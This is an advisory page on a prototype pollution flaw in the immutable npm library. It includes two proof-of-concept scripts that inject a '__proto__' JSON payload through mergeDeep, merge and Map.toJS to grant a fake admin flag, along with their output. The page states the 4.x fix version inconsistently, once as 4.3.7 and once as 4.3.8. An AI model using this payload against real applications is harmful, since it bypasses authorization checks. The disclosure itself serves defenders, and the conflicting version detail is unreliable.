High

Immutable is vulnerable to Prototype Pollution

  • Disclosed: 04.03.2026
  • Updated: 11.10.2026 10:22

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

API Notes
mergeDeep(target, source) Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source) Same code path
merge(target, source) Shallow variant, same assignment logic
Map.toJS() object[k] = v in toObject() with no __proto__ guard
Map.toObject() Same toObject() implementation
Map.mergeDeep(source) When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major version patched version
3.x 3.8.3
4.x 4.3.7
5.x 5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

js
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

js
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package immutable >= 4.0.0-rc.1, < 4.3.8, >= 5.0.0, < 5.1.5, < 3.8.3 4.3.8, 5.1.5, 3.8.3

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-1321
Platform
npm
Package
immutable
Disclosed
04.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wf6x-7x77-mvgw - CC BY 4.0

Vulnerability history: immutable

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
03.2026 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 3

Disclosures per year

  1. 2026: 3
  1. High CVE-2026-59880 >= 4.0.0-beta.1, < 4.3.9, >= 5.0.0-beta.1, < 5.1.8, < 3.8.4 4.3.9, 5.1.8, 3.8.4
  2. High · 7.5 CVE-2026-59879 >= 4.0.0-rc.1, < 4.3.9, >= 5.0.0-beta.1, < 5.1.8, < 3.8.4 4.3.9, 5.1.8, 3.8.4
  3. Immutable is vulnerable to Prototype Pollution this entry
    High · 9.8 CVE-2026-29063 >= 4.0.0-rc.1, < 4.3.8, >= 5.0.0, < 5.1.5, < 3.8.3 4.3.8, 5.1.5, 3.8.3

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